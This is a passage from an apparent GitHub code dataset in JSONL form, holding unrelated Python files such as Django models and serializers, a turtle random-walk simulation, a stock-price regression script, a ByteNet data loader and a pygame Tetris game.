graphics callback - \"\"\"\n\n self.step(dt)\n\n self.window.clear(color=self.bg_color)\n\n for shape in self.shapes.values():\n shape.draw()\n\n def on_close(self, caller='window'):\n \"\"\" On window close - close responder thread \"\"\"\n\n OSCResponder.stop(self)\n\n def on_resize(self, width, height):\n \"\"\" On window resize \"\"\"\n\n self.width, self.height = width, height\n self.window.clear(color=self.bg_color)\n self.window.swap()\n self.window.clear(color=self.bg_color)\n","repo_name":"venachescu/psyclab","sub_path":"psyclab/display/glumpy_app.py","file_name":"glumpy_app.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"36197575431","text":"from rest_framework import serializers\nfrom .models import Worker, WorkerLink, Team, TeamLink\nfrom accounts.serializers import UserSerializerWithToken\n\n\nclass TeamLinkSerializer(serializers.ModelSerializer):\n class Meta:\n model = TeamLink\n fields = [\"team\", \"label\", \"url\", \"screenshot\", \"created_date\", \"updated_date\"]\n\n\nclass TeamSerializer(serializers.ModelSerializer):\n team_links = TeamLinkSerializer(many=True, read_only=True)\n\n class Meta:\n model = Team\n fields = [\n \"team_name\",\n \"logo\",\n \"team_admin\",\n \"description\",\n \"created_date\",\n \"updated_date\",\n \"team_links\",\n ]\n\n\nclass WorkerLinkSerializer(serializers.ModelSerializer):\n class Meta:\n model = WorkerLink\n fields = [\n \"worker\",\n \"label\",\n \"url\",\n \"screenshot\",\n ]\n\n\nclass WorkerSerializer(serializers.ModelSerializer):\n worker_links = WorkerLinkSerializer(many=True, read_only=True)\n user = UserSerializerWithToken(many=False, read_only=True)\n\n class Meta:\n model = Worker\n fields = [\n \"first_name\",\n \"last_name\",\n \"email\",\n \"phone\",\n \"headshot\",\n \"street\",\n \"city\",\n \"state\",\n \"country\",\n \"availability\",\n \"min_hourly_rate\",\n \"skills\",\n \"headline\",\n \"referred_by\",\n \"references\",\n \"referred_to\",\n \"connections\",\n \"comments\",\n \"sign_up_date\",\n \"updated_date\",\n \"worker_links\",\n \"user\",\n ]\n\n","repo_name":"Junglefuss/copro_profiles_be","sub_path":"copro_profiles/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"13063311622","text":"def luckyStraight(n):\n\n n = str(n)\n left = 0\n right = 0\n\n for i in range(len(n)//2):\n left += int(n[i])\n right += int(n[(len(n)//2)+i])\n\n if left == right:\n return 'LUCKY'\n else:\n return 'READY'\n\nprint(luckyStraight(7755))","repo_name":"mia2628/Python","sub_path":"Algorithm/Implementation/luckyStraight.py","file_name":"luckyStraight.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"2325816261","text":"from django.db import models\nfrom smart_selects.db_fields import ChainedForeignKey\nfrom .validators import validate_cedula\nfrom .validators import validate_cc\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.utils.safestring import mark_safe\n\nTIPO_PERSONA = (('F', 'Fisica'), ('J', 'Juridica'))\nTANDAS = (('M', 'Matutina'), ('V', 'Vespertina'), ('N', 'Nocturna'))\n\nclass TipoVehiculo(models.Model):\n descripcion = models.CharField(max_length=100)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.descripcion\n class Meta:\n verbose_name_plural = \"Tipos de vehiculos\" \n\nclass Marca(models.Model):\n descripcion = models.CharField(max_length=100)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.descripcion\n\nclass Modelo(models.Model):\n marca = models.ForeignKey(Marca, on_delete=models.CASCADE)\n descripcion = models.CharField(max_length=100)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.descripcion\n\nclass TipoCombustible(models.Model):\n descripcion = models.CharField(max_length=50)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.descripcion\n class Meta:\n verbose_name_plural = \"Tipos de combustible\" \n\nclass Vehiculo(models.Model):\n descripcion = models.CharField(max_length=200)\n no_chasis = models.CharField(max_length=17)\n no_motor = models.CharField(max_length=9)\n no_placa = models.CharField(max_length=10)\n tipo_vehiculo = models.ForeignKey(TipoVehiculo, on_delete=models.CASCADE)\n marca_vehiculo = models.ForeignKey(Marca, on_delete=models.CASCADE)\n modelo_vehiculo = ChainedForeignKey(\n Modelo,\n chained_field=\"marca_vehiculo\",\n chained_model_field=\"marca\",\n show_all=False\n )\n combustible_vehiculo = models.ForeignKey(TipoCombustible, on_delete=models.CASCADE)\n imagen = models.ImageField(upload_to='img/vehiculos', default='placeholder.jpg')\n estado = models.BooleanField()\n\n def image_tag(self):\n return mark_safe('' % self.imagen.url)\n image_tag.short_description = 'Imagen'\n\n def __str__(self):\n return self.descripcion\n\nclass Cliente(models.Model):\n nombre = models.CharField(max_length=250)\n tipo_persona = models.CharField(max_length=100, choices=TIPO_PERSONA)\n cedula = models.CharField(max_length=13, unique=True, null=False, validators=[validate_cedula])\n tarjeta_credito = models.CharField(max_length=20, null=False, validators=[validate_cc])\n limite_credito = models.DecimalField(max_digits=7, decimal_places=2)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.nombre\n\nclass Empleado(models.Model):\n nombre = models.CharField(max_length=250)\n cedula = models.CharField(max_length=13, unique=True, null=False, validators=[validate_cedula])\n tanda_labor = models.CharField(max_length=100, choices=TANDAS)\n porciento_comision = models.IntegerField(default = 0, \n validators=[MaxValueValidator(100), MinValueValidator(0)])\n fecha_ingreso = models.DateField()\n estado = models.BooleanField()\n\n def __str__(self):\n return self.nombre\n\nclass Inspeccion(models.Model):\n inspeccion_vehiculo = models.ForeignKey(Vehiculo, on_delete=models.CASCADE)\n cliente = models.ForeignKey(Cliente, on_delete=models.CASCADE)\n ralladuras = models.BooleanField()\n porcentaje_combustible = models.IntegerField(default = 0, \n validators=[MaxValueValidator(100), MinValueValidator(0)])\n goma_repuesto = models.BooleanField()\n gato = models.BooleanField()\n roturas_cristal = models.BooleanField()\n goma_uno = models.BooleanField()\n goma_dos = models.BooleanField()\n goma_tres = models.BooleanField()\n goma_cuatro = models.BooleanField()\n inspeccion_fecha = models.DateField(auto_now_add=True)\n inspeccion_empleado = models.ForeignKey(Empleado, on_delete=models.CASCADE)\n estado = models.BooleanField()\n\n class Meta:\n verbose_name_plural = \"Inspecciones\" \n\nclass Renta(models.Model):\n empleado = models.ForeignKey(Empleado, on_delete=models.CASCADE)\n vehiculo = models.ForeignKey(Vehiculo, on_delete=models.CASCADE, limit_choices_to = {\"estado\" : True})\n cliente = models.ForeignKey(Cliente, on_delete=models.CASCADE)\n fecha_renta = models.DateField()\n fecha_devolucion = models.DateField(blank=True, null=True)\n monto_por_dia = models.DecimalField(max_digits=7, decimal_places=2)\n cantidad_dias = models.PositiveIntegerField()\n comentario = models.TextField()\n estado = models.BooleanField()\n\n def __str__(self):\n return str(self.fecha_renta) + self.vehiculo.descripcion\n\n\n def save(self, *args, **kwargs):\n if not self.fecha_devolucion:\n self.vehiculo.estado = False\n else:\n self.vehiculo.estado = True\n self.vehiculo.save()\n return super(Renta, self).save(*args, **kwargs)\n\n\n\n# Create your models here.\n","repo_name":"arkmalcom/Rentcar","sub_path":"rentcar/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30289603750","text":"#!/usr/bin/env python3\n# Program: Random Walk Simulation\n# Author: Darren Trieu Nguyen\n# Version: 0.6\n# Function: To simulate brownian motion\n# Note: Branched from Diffusion Simulation v.0.6\n\nimport turtle\nimport tkinter\nimport time\nimport random\nimport sys\n\n\"\"\" Main class\n\"\"\"\nclass simulation:\n \n \"\"\" Initialization function - Initializes the screen and randomizes the\n turtles\n \"\"\"\n def __init__(self, \n turtleQuantity, \n xMult, \n yMult, \n xBoundInput, \n yBoundInput,\n windDirectionInput,\n windWeightInput):\n\n # Constants (will be able to be manipulated later)\n global xBound\n global yBound\n global windDirection\n global windWeight\n\n xBound = xBoundInput\n yBound = yBoundInput\n windDirection = windDirectionInput\n windWeight = windWeightInput\n\n global radius\n radius = 7\n\n global turtleList\n turtleList = []\n\n # Initializing the screen and background\n window = turtle.Screen()\n window.bgcolor(\"white\")\n window.title(\"Drawing Board\")\n\n # Labeling borders\n turtle.setworldcoordinates(-xBound, -yBound, xBound, yBound)\n\n # Drawing borders\n turtle.tracer(False)\n borderTurtle = turtle.Turtle()\n borderTurtle.hideturtle()\n borderTurtle.penup()\n borderTurtle.setx(-xBound)\n borderTurtle.sety(-yBound)\n borderTurtle.pendown()\n\n borderTurtle.setx(xBound)\n borderTurtle.sety(yBound)\n borderTurtle.setx(-xBound)\n borderTurtle.sety(-yBound)\n\n # Loading turtles\n self.createNTurtles(xMult, yMult, turtleQuantity)\n turtle.update()\n \n simLoop = 1\n while (simLoop == 1):\n try:\n self.boardUpdate()\n except tkinter.TclError:\n pass\n simLoop = 0\n\n try:\n turtle.done()\n turtle.bye()\n except turtle.Terminator:\n pass\n\n \"\"\" Creates a turtle\n \"\"\"\n def createTurtle(self, xMult, yMult):\n turtle1 = turtle.Turtle()\n turtle1.shape(\"circle\")\n turtle1.color(\"blue\")\n turtle1.penup()\n turtle1.setx(random.randint(-100, 100) * xMult)\n turtle1.sety(random.randint(-100, 100) * yMult)\n turtle1.setheading(random.randint(0, 360))\n \n turtleList.append(turtle1)\n\n \"\"\" Create a specific number of turtles\n \"\"\"\n def createNTurtles(self, xMult, yMult, quantity):\n for n in range(1, quantity):\n self.createTurtle(xMult, yMult)\n\n \"\"\" Updates the board\n \"\"\"\n def boardUpdate(self):\n for turtle1 in turtleList:\n turtle1.setheading(self.randomDirection(windDirection, windWeight))\n for turtle2 in turtleList:\n if ((not (turtle1 is turtle2)) \n and self.checkCollision(turtle1, turtle2)):\n self.collisionDirection(turtle1, turtle2)\n if ((self.checkBorderCoords(turtle1.xcor(), \n turtle1.ycor()) == True)):\n self.ricochetDirection(turtle1)\n turtle1.forward(1)\n turtle.update()\n\n \"\"\" Chooses and returns a random direction, factoring in wind direction and\n weights given to the wind\n \"\"\"\n def randomDirection(self, windDirection, weight):\n if (random.randint(0, 100) < weight):\n return random.randint(windDirection - 45, windDirection + 45)\n else:\n return random.randint(0, 360)\n\n \"\"\" Checks to see if a turtle is outside the borders\n Returns True if the turtle is outside the borders\n Returns False otherwise\n \"\"\"\n def checkBorder(self, turtleObject):\n if (((turtleObject.xcor() + radius) >= xBound)\n or ((turtleObject.xcor() - radius) <= -xBound)\n or ((turtleObject.ycor() + radius) >= yBound)\n or ((turtleObject.ycor() - radius) <= -yBound)):\n return True\n else:\n return False\n\n \"\"\" Checks to see if a turtle's planned coordinates causes the turtle\n to overlap with the edge of the screen\n Returns True if the coords are past the border\n Returns False otherwise\n \"\"\"\n def checkBorderCoords(self, xcor, ycor):\n if (((xcor + radius) >= xBound)\n or ((xcor - radius) <= -xBound)\n or ((ycor + radius) >= yBound)\n or ((ycor - radius) <= -yBound)):\n return True\n else:\n return False\n\n \"\"\" Checks to see if a turtle is outside the board completely\n Returns True if the turtle is outside the board completely\n Returns False otherwise\n \"\"\"\n def checkStuck(self, turtleObject):\n if (((turtleObject.xcor() + radius) >= xBound)\n or ((turtleObject.xcor() - radius) <= -xBound)\n or ((turtleObject.ycor() + radius) >= yBound)\n or ((turtleObject.ycor() - radius) <= -yBound)):\n return True\n else:\n return False\n\n \"\"\" Checks to see if a turtle is overlapping with another turtle\n Returns True if a turtle is overlapping with another turtle\n Returns False otherwise\n \"\"\"\n def checkCollision(self, turtle1, turtle2):\n if (((((turtle1.xcor() + radius) >= (turtle2.xcor() - radius))\n and ((turtle1.xcor() - radius) <= (turtle2.xcor() - radius)))\n or (((turtle1.xcor() - radius) <= (turtle2.xcor() + radius))\n and ((turtle1.xcor() + radius) >= (turtle2.xcor() + radius))))\n and ((((turtle1.ycor() + radius) >= (turtle2.ycor() - radius))\n and ((turtle1.ycor() - radius) <= (turtle2.ycor() - radius)))\n or (((turtle1.ycor() - radius) <= (turtle2.ycor() + radius))\n and ((turtle1.ycor() + radius) >= (turtle2.ycor() + radius))))\n ):\n return True\n else:\n return False\n\n \"\"\" Changes direction based off of turtle collision\n \"\"\"\n def collisionDirection(self, turtle1, turtle2):\n turtle1.setheading(turtle1.towards(turtle2.xcor(), \n turtle2.ycor()) + 180)\n turtle2.setheading(turtle2.towards(turtle1.xcor(), \n turtle1.ycor()) + 180)\n\n \"\"\" Changes the direction of a turtle as if it ricocheted off of a wall\n \"\"\"\n def ricochetDirection(self, turtleObject):\n if (turtleObject.xcor() + radius >= xBound):\n turtleObject.setheading(180 - turtleObject.heading())\n if (turtleObject.ycor() + radius >= yBound):\n turtleObject.setheading(360 - turtleObject.heading())\n if (turtleObject.xcor() - radius <= -xBound):\n turtleObject.setheading(180 - turtleObject.heading())\n if (turtleObject.ycor() - radius <= -yBound):\n turtleObject.setheading(360 - turtleObject.heading())\n\n \"\"\" Forces the simulation display closed\n \"\"\"\n def closeSimulation(self):\n turtle.clear()\n turtle.update()\n turtle.bye()\n\n","repo_name":"RenTrieu/RandomWalk","sub_path":"RandomWalkSimulation/randomWalkSimulation.py","file_name":"randomWalkSimulation.py","file_ext":"py","file_size_in_byte":7139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10512798977","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport re\n\ndf=pd.read_csv('wikidata.csv')\n\n\n\n#setting index as date values\n#df['Date']=pd.to_datetime(df.Date,format='%m/%d/%Y')\n#df.index=df['Date']\n\n#sorting\ndata=df.sort_index(ascending=True,axis=0)\nprint(data.dtypes)\n\n#creating a seperate database\n\nnew_data=pd.DataFrame(index=range(0,len(df)),columns=['Date','Close'])\n\nprint(new_data.head())\n\n#Inserting values\nfor i in range(0,len(data)):\n new_data['Date'][i]=data['Date'][i]\n new_data['Close'][i]=data['Close'][i]\n\nprint(new_data.head())\nprint(data.head())\n\n#Create Features\n'''new_data['mon_fri']=0\nfor i in range(0,len(new_data)):\n if(new_data['Dayofweek'][i]==0 or new_data['Dayofweek'][i]==4):\n new_data['mon_fri'][i]=1\n else:\n new_data['mon_fri']=0 '''\n\n\n\n\nfrom sklearn.model_selection import train_test_split\n\nX=new_data['Date']\n#for i in range(0,len(X)):\n # X[i]=str(X[i])\ny=new_data['Close']\nnumber_found=[]\nfor i in range(0,len(X)):\n found=re.findall('/',X[i])\n number_f=re.findall('[0-9]',X[i])\n number_found.append(number_f)\n print(found)\nprint(number_found)\n\nnf_list=[]\nfor i in number_found:\n nf=\"\".join(map(str,i))\n nf_list.append(nf)\nprint(nf_list)\n\nnew_data['Date']=nf_list\nprint(new_data.head())\nprint(new_data.dtypes)\nX=new_data['Date'].head(1322)\ny=new_data['Close'].head(1322)\nX=X.values\ny=y.values\n\nX=X.reshape(661,2)\ny=y.reshape(661,2)\n\nprint(type(X))\nprint(y.shape)\n\n\n\n\n\n\n'''X_arr=np.array(X)\nprint(X_arr)\n\ny_arr=np.array(y)\nprint(y_arr)\n\nX_arr.reshape(661,2)\ny_arr.reshape(661,2)'''\n\n#print(X.head())\n#print(y.head())\n\n\nX_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2)\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import metrics\n\nlinreg=LinearRegression()\n\nlinreg.fit(X_train,y_train)\n\ny_pred=linreg.predict(X_test)\n\n\npred=pd.DataFrame({'Date': X_test.flatten(),'Actual': y_test.flatten(),'Predicted':y_pred.flatten()})\nprint(pred)\npred.to_csv('linear_result.csv')\n\npred1=pred.head(25)\npred1.plot(kind='bar',figsize=(16,10))\nplt.xlabel('Close')\nplt.ylabel('Date')\nplt.title('Stock Price Prediction Using Linear Regression')\nplt.grid(which='major',linestyle='-',linewidth='0.5',color='green')\nplt.grid(which='minor',linestyle=':',linewidth='0.5',color='black')\nplt.show()\n\nfrom sklearn import metrics\n\nprint(metrics.mean_absolute_error(y_test,y_pred))\nprint(metrics.mean_squared_error(y_test,y_pred))\nprint(np.sqrt(metrics.mean_squared_error(y_test,y_pred)))\n\n\n\n\n","repo_name":"PritamU/Stock-Price-Prediction","sub_path":"stock_linear.py","file_name":"stock_linear.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31647053068","text":"import os\nfrom os import listdir\nfrom os.path import isfile, join\nfrom tqdm import tqdm\nimport numpy as np\nimport cPickle as pickle\nimport json\n\nclass Data_Loader:\n def __init__(self, options, split='train', vocab=None, cache=None):\n if options['model_type'] == 'translation':\n source_file = options['source_file'] + '.' + split\n target_file = options['target_file'] + '.' + split\n\n self.max_sentences = None\n if 'max_sentences' in options:\n self.max_sentences = options['max_sentences']\n\n with open(source_file) as f:\n self.source_lines = f.read().decode(\"utf-8\", errors='ignore').split('\\n')\n # for temporally covering error in inference_translation.py\n with open(target_file) as f:\n self.target_lines = f.read().decode(\"utf-8\", errors='ignore').split('\\n')\n\n\n if self.max_sentences:\n self.source_lines = self.source_lines[0:self.max_sentences]\n self.target_lines = self.target_lines[0:self.max_sentences]\n\n #print(\"Source Sentences\", len(self.source_lines))\n #print(\"Target Sentences\", len(self.target_lines))\n\n self.bucket_quant = options['bucket_quant']\n if split == \"train\":\n self.source_vocab = self.build_vocab(self.source_lines)\n self.target_vocab = self.build_vocab(self.target_lines)\n else:\n '''\n if vocab is None:\n raise Exception(\"split={}: need vocab from training data\"\n % split)\n with open(join(vocab, \"source_vocab.pkl\"), \"rb\") as f:\n self.source_vocab = pickle.load(f)\n with open(join(vocab, \"target_vocab.pkl\"), \"rb\") as f:\n self.target_vocab = pickle.load(f)\n '''\n pass\n\n\n #print(\"SOURCE VOCAB SIZE\", len(self.source_vocab))\n #print(\"TARGET VOCAB SIZE\", len(self.target_vocab))\n \n elif options['model_type'] == 'generator':\n dir_name = options['dir_name']\n files = [ join(dir_name, f) for f in listdir(dir_name) if isfile(join(dir_name, f)) ]\n\n text = []\n \n # construct same vocab set both for train/valid data\n if vocab == None:\n print('There is no vocab file. Construct it from scratch.')\n for f in files:\n text += list(open(f).read())\n\n vocab = {ch : True for ch in text}\n\n # If there is vocab cache, load it only!\n elif type(vocab) == str:\n print('Loading presaved vocab file | {}'.format(vocab))\n vocab = pickle.load(open(vocab))\n\n else:\n for f in files:\n text += list(open(f).read())\n\n\n self.vocab = vocab\n\t\t\n print(\"Bool vocab\", len(vocab))\n self.vocab_list = [ch for ch in vocab]\n print(\"vocab list\", len(self.vocab_list))\n self.vocab_indexed = {ch : i for i, ch in enumerate(self.vocab_list)}\n print(\"vocab_indexed\", len(self.vocab_indexed))\n\n if cache:\n print('text cache file [{}] is started to load...'.format(cache))\n self.text = np.load(cache)\n print('text cache file [{}] is loaded.'.format(cache))\n\n else:\n for index, item in enumerate(text):\n text[index] = self.vocab_indexed[item]\n self.text = np.array(text, dtype='int32')\n \n elif options['model_type'] == 'classifier':\n text, rating = [], []\n\n fname = options['review_file'] + '.{}'.format(split)\n\n if not vocab: vocab_scratch = {'
': 0}\n \n with open(fname) as f:\n while True:\n line = f.readline()\n if not line: break\n review = json.loads(line)\n\n if not vocab:\n for ch in review['text'].replace('\\n', ''):\n if ch in vocab_scratch: continue\n else: vocab_scratch[ch] = len(vocab_scratch)\n\n # make polarity\n if int(review['stars']) > 3:\n rating.append(1)\n elif int(review['stars']) < 3:\n rating.append(0)\n else: continue\n\n text.append( self.string_to_indices(review['text'].replace('\\n', ''), vocab_scratch, pad=options['seq_len']) )\n\n self.text = np.array(text, dtype='int32')\n self.rating = np.array(rating, dtype='int32')\n self.vocab = vocab_scratch\n\n def load_generator_data(self, sample_size):\n text = self.text\n mod_size = len(text) - len(text)%sample_size\n text = text[0:mod_size]\n text = text.reshape(-1, sample_size)\n return text, self.vocab_indexed\n\n\n def load_translation_data(self):\n source_lines = []\n target_lines = []\n for i in range(len(self.source_lines)):\n source_lines.append( self.string_to_indices(self.source_lines[i], self.source_vocab) )\n target_lines.append( self.string_to_indices(self.target_lines[i], self.target_vocab) )\n\n buckets = self.create_buckets(source_lines, target_lines)\n\n # frequent_keys = [ (-len(buckets[key]), key) for key in buckets ]\n # frequent_keys.sort()\n\n # print \"Source\", self.inidices_to_string( buckets[ frequent_keys[3][1] ][5][0], self.source_vocab)\n # print \"Target\", self.inidices_to_string( buckets[ frequent_keys[3][1] ][5][1], self.target_vocab)\n \n return buckets, self.source_vocab, self.target_vocab\n\n def load_classifier_data(self):\n return self.text, self.rating, self.vocab\n \n\n def create_buckets(self, source_lines, target_lines):\n \n bucket_quant = self.bucket_quant\n source_vocab = self.source_vocab\n target_vocab = self.target_vocab\n\n buckets = {}\n for i in xrange(len(source_lines)):\n \n # source = source + \n # target = + target + \n source_lines[i] = np.concatenate( (source_lines[i], [source_vocab['eol']]) )\n target_lines[i] = np.concatenate( ([target_vocab['init']], target_lines[i], [target_vocab['eol']]) )\n \n sl = len(source_lines[i])\n tl = len(target_lines[i])\n\n new_length = max(sl, tl)\n\n # fitting new_length to neareast upperbound of bucket_quant\n # e.g. bucket_quant=50 -> new_length = 50, 100, 150, ...\n\n if new_length % bucket_quant > 0:\n new_length = ((new_length/bucket_quant) + 1 ) * bucket_quant \n \n s_padding = np.array( [source_vocab['padding'] for ctr in xrange(sl, new_length) ] )\n\n # NEED EXTRA PADDING FOR TRAINING.. \n t_padding = np.array( [target_vocab['padding'] for ctr in xrange(tl, new_length + 1) ] )\n\n source_lines[i] = np.concatenate( [ source_lines[i], s_padding ] )\n target_lines[i] = np.concatenate( [ target_lines[i], t_padding ] )\n\n if new_length in buckets:\n buckets[new_length].append( (source_lines[i], target_lines[i]) )\n else:\n buckets[new_length] = [(source_lines[i], target_lines[i])]\n\n #if i%100000 == 0 and i > 0:\n # print(\"Loading\", i)\n \n return buckets\n\n\n def create_buckets_only_src(self, source_lines):\n \n bucket_quant = self.bucket_quant\n source_vocab = self.source_vocab\n\n buckets = {}\n for i in xrange(len(source_lines)):\n \n # source = source + \n # target = + target + \n source_lines[i] = np.concatenate( (source_lines[i], [source_vocab['eol']]) )\n \n sl = len(source_lines[i])\n new_length = sl\n\n # fitting new_length to neareast upperbound of bucket_quant\n # e.g. bucket_quant=50 -> new_length = 50, 100, 150, ...\n if new_length % bucket_quant > 0:\n new_length = ((new_length/bucket_quant) + 1 ) * bucket_quant \n \n s_padding = np.array( [source_vocab['padding'] for ctr in xrange(sl, new_length) ] )\n\n source_lines[i] = np.concatenate( [ source_lines[i], s_padding ] )\n\n if new_length in buckets:\n buckets[new_length].append( source_lines[i] )\n else:\n buckets[new_length] = [ source_lines[i] ]\n\n \n return buckets\n\n\n def build_vocab(self, sentences):\n vocab = {}\n ctr = 0\n for st in sentences:\n for ch in st:\n if ch not in vocab:\n vocab[ch] = ctr\n ctr += 1\n\n # SOME SPECIAL CHARACTERS\n vocab['eol'] = ctr # end of line\n vocab['padding'] = ctr + 1 # padding\n vocab['init'] = ctr + 2 # init\n\n return vocab\n\n def string_to_indices(self, sentence, vocab, pad=-1):\n indices = []\n for s in sentence:\n try: indices.append(vocab[s])\n except: pass\n #indices = [ vocab[s] for s in sentence ]\n\n if pad > -1:\n if len(indices) > pad:\n indices = indices[:pad]\n else:\n padding = [ vocab['
'] for _ in xrange(len(indices), pad) ]\n indices.extend(padding)\n \n return indices\n\n def inidices_to_string(self, sentence, vocab):\n id_ch = { vocab[ch] : ch for ch in vocab } \n sent = []\n for c in sentence:\n if id_ch[c] == 'eol':\n break\n sent += id_ch[c]\n\n return \"\".join(sent)\n\n def get_batch_from_pairs(self, pair_list):\n source_sentences = []\n target_sentences = []\n for s, t in pair_list:\n source_sentences.append(s)\n target_sentences.append(t)\n\n return np.array(source_sentences, dtype = 'int32'), np.array(target_sentences, dtype = 'int32'), pair_list\n\n\ndef main():\n # FOR TESTING ONLY\n trans_options = {\n 'model_type' : 'translation',\n 'source_file' : 'Data/translator_training_data/news-commentary-v9.fr-en.en',\n 'target_file' : 'Data/translator_training_data/news-commentary-v9.fr-en.fr',\n 'bucket_quant' : 25,\n }\n gen_options = {\n 'model_type' : 'generator', \n 'dir_name' : 'Data',\n }\n\n dl = Data_Loader(trans_options)\n buckets, source_vocab, target_vocab = dl.load_translation_data()\n from IPython import embed; embed()\n\nif __name__ == '__main__':\n main()\n","repo_name":"seilna/CNN-Units-in-NLP","sub_path":"code/models/bytenet/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":10904,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"72"}
+{"seq_id":"29464741965","text":"from flask import json\nfrom nose.tools import eq_\nfrom server import app\n\nclient = app.test_client()\n\n\ndef test_hello_world():\n # When: I access root path\n resp = client.get('/')\n\n # Then: Expected response is returned\n eq_(resp.status_code, 200)\n eq_(resp.headers['Content-Type'], 'application/json')\n data = json.loads(resp.data.decode())\n eq_(data['message'].startswith('Hello'), True)\n","repo_name":"totem/totem-demo","sub_path":"tests/unit/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"38065758908","text":"from pytest import Item\nfrom .testomat_item import TestomatItem\nfrom .testItem import TestItem\nfrom .decorator_updater import update_tests\nfrom .code_collector import get_functions_source_by_name\n\n\ndef collect_tests(items: list[Item]):\n meta: list[TestItem] = list()\n test_files: set = set()\n test_names: list = list()\n parameter_filter: set[Item] = set()\n for item in items:\n if item.function not in parameter_filter:\n parameter_filter.add(item.function)\n ti = TestItem(item)\n test_files.add(ti.abs_path)\n test_names.append(ti.title)\n meta.append(ti)\n\n for test_file in test_files:\n pairs = [p for p in get_functions_source_by_name(test_file, test_names)]\n for ti in meta:\n for name, source_code in pairs:\n if ti.title == name and ti.abs_path == test_file:\n ti.source_code = source_code\n break\n return meta, test_files, test_names\n\n\ndef get_test_mapping(tests: list[TestItem]) -> list[tuple[str, int]]:\n return [(test.title, test.id) for test in tests]\n\n\ndef parse_test_list(raw_response: dict) -> list[TestomatItem]:\n suites = set([suite for suite in raw_response['suites'].keys() if '#' not in suite])\n result = dict()\n for key, value in raw_response['tests'].items():\n test = result.get(value)\n if test is None:\n test = {\n 'name': None,\n 'suite': None,\n 'file': None\n }\n parts = [part for part in key.split('#') if part != '']\n if len(parts) == 1:\n test['name'] = parts[0]\n elif len(parts) == 2:\n if parts[0] in suites:\n test['suite'] = parts[0]\n test['name'] = parts[1]\n elif len(parts) == 3:\n test['file'] = parts[0]\n test['name'] = parts[-1]\n result[value] = test\n return [TestomatItem(id, test['name'], test['file']) for id, test in result.items()]\n\n\ndef add_and_enrich_tests(meta: list[TestItem], test_files: set,\n test_names: list, testomatio_tests: dict, decorator_name: str):\n # set test ids from testomatio to test metadata\n tcm_test_data = parse_test_list(testomatio_tests)\n for test in meta:\n for tcm_test in tcm_test_data:\n if test.user_title == tcm_test.title and test.file_name == tcm_test.file_name:\n test.id = tcm_test.id\n tcm_test_data.remove(tcm_test)\n break\n\n mapping = get_test_mapping(meta)\n for test_file in test_files:\n update_tests(test_file, mapping, test_names, decorator_name)\n","repo_name":"Ypurek/pytest-analyzer","sub_path":"analyzer/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"36825415958","text":"import pygame \nimport random\nimport math\nfrom Pieces import *\nfrom Board import *\n\n##Setup game variables\nSCREEN_WIDTH, SCREEN_HEIGHT = 300, 700\nrun = True\n\npygame.init() \nwin = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) \npygame.display.set_caption(\"Fake Python Tetris\") \n\npygame.mixer.music.load('media\\Tetris_theme.wav')\npygame.mixer.music.set_volume(0.1)\npygame.mixer.music.play(-1)\n\nboard = Board()\nlastTime = pygame.time.get_ticks()\ndeltaTime = 0\n\nwhile run:\n\n deltaTime = pygame.time.get_ticks() - lastTime \n lastTime = pygame.time.get_ticks()\n\n # creates time delay of 10ms \n pygame.time.delay(10)\n keys = pygame.key.get_pressed() \n # iterate over the list of Event objects \n # that was returned by pygame.event.get() method. \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n board.rotate()\n if event.key == pygame.K_a or event.key == pygame.K_LEFT :\n board.move(isLeft=True)\n if event.key == pygame.K_d or event.key == pygame.K_RIGHT :\n board.move(isLeft=False)\n if event.key == pygame.K_s or event.key == pygame.K_DOWN :\n board.moveDown()\n if event.key == pygame.K_r and board.gameState == \"LOST\":\n board = Board()\n pygame.mixer.music.play()\n\n\n if board.gameState != \"LOST\" :\n board.step(deltaTime)\n board.draw(win)\n else:\n board.drawLoseScreen(win)\n pygame.mixer.music.stop()\n\n pygame.display.update()\n\n\n\n\n\n\n","repo_name":"JoeMGomes/GISS-Tetris-FILS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
